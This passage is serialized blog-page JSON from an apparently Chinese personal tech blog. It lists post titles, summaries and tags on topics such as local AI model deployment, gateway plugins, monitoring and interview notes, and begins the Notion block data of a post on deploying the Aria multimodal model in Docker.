MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"153f5010-17f2-8037-8e89-ecfcb9d24a89":{"value":{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","version":384,"type":"page","content":["153f5010-17f2-81bf-adb3-d889605717a2","153f5010-17f2-816a-a990-fb8c0eea818f","153f5010-17f2-815e-9e79-f98859c710c2","153f5010-17f2-8198-a635-e9ce3c7251c9","153f5010-17f2-8192-ad27-e9ac82f28848","153f5010-17f2-800d-aad6-ce255a7e835c","153f5010-17f2-8009-b55e-d45aa00f4d87","153f5010-17f2-802d-a305-dd41a7148b9b","153f5010-17f2-8090-b008-ffff1428c651","153f5010-17f2-815d-a821-e9ae71a0df2a","153f5010-17f2-814b-8ea8-d36f186d5882","153f5010-17f2-80c0-9d0e-fd4d3a2a4ba1","153f5010-17f2-8009-b6af-c84461a2f7ce","153f5010-17f2-80e3-9b38-c2d56e1d55d4","153f5010-17f2-80fa-9cbb-c1f58248a51c","153f5010-17f2-80e0-ab4d-eb4309efdc32","153f5010-17f2-80b8-9bbf-ec352eb7fbae","153f5010-17f2-80a2-bdd4-e37eafe17e08","153f5010-17f2-80de-be92-d485480271fe","153f5010-17f2-8028-815b-fdd9f3f1ec3d","153f5010-17f2-80e5-8c9c-c416dccbf805","153f5010-17f2-8013-8ed8-cd9d2c952910","153f5010-17f2-8064-a3a1-eb3338622d72","153f5010-17f2-8025-882f-cf5e462b2344","153f5010-17f2-80cd-9995-e1067dca7db8","153f5010-17f2-8044-84eb-fc6abf57f34b","153f5010-17f2-80de-89de-f5660f01c922","153f5010-17f2-8099-8e22-c9b5bf21c875","153f5010-17f2-80bc-8b12-fcaa44bc7106","153f5010-17f2-806e-a08e-c1b69b0af9fc","153f5010-17f2-8044-9051-e85caf514ac5","153f5010-17f2-8099-89a1-c03411933f08","153f5010-17f2-80ee-9362-e43729e68390","153f5010-17f2-80ab-a469-cf08a8dc8ceb","153f5010-17f2-8006-bebe-d7a8a89a21db","153f5010-17f2-8005-b710-dfd579b4cd56","153f5010-17f2-8107-a545-f2353f0c258e","153f5010-17f2-8179-bb5e-eb5b425a5aa4","153f5010-17f2-80fc-9f34-eddb4e258347","153f5010-17f2-804e-8c1d-fae79ab1e865","153f5010-17f2-8124-8aa7-f549beb0e0d5","153f5010-17f2-8107-a1fb-f004f4a21a2e","153f5010-17f2-8172-a6b3-c4996362c96e"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1733380205626,"last_edited_time":1733384629973,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"153f5010-17f2-81bf-adb3-d889605717a2":{"value":{"id":"153f5010-17f2-81bf-adb3-d889605717a2","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"153f5010-17f2-816a-a990-fb8c0eea818f":{"value":{"id":"153f5010-17f2-816a-a990-fb8c0eea818f","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"153f5010-17f2-815e-9e79-f98859c710c2":{"value":{"id":"153f5010-17f2-815e-9e79-f98859c710c2","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"153f5010-17f2-8198-a635-e9ce3c7251c9":{"value":{"id":"153f5010-17f2-8198-a635-e9ce3c7251c9","type":"callout","properties":{"title":[["闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207760,"last_edited_time":1733382114016,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"153f5010-17f2-8192-ad27-e9ac82f28848":{"value":{"id":"153f5010-17f2-8192-ad27-e9ac82f28848","type":"header","properties":{"title":[["项目简介"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380663103,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3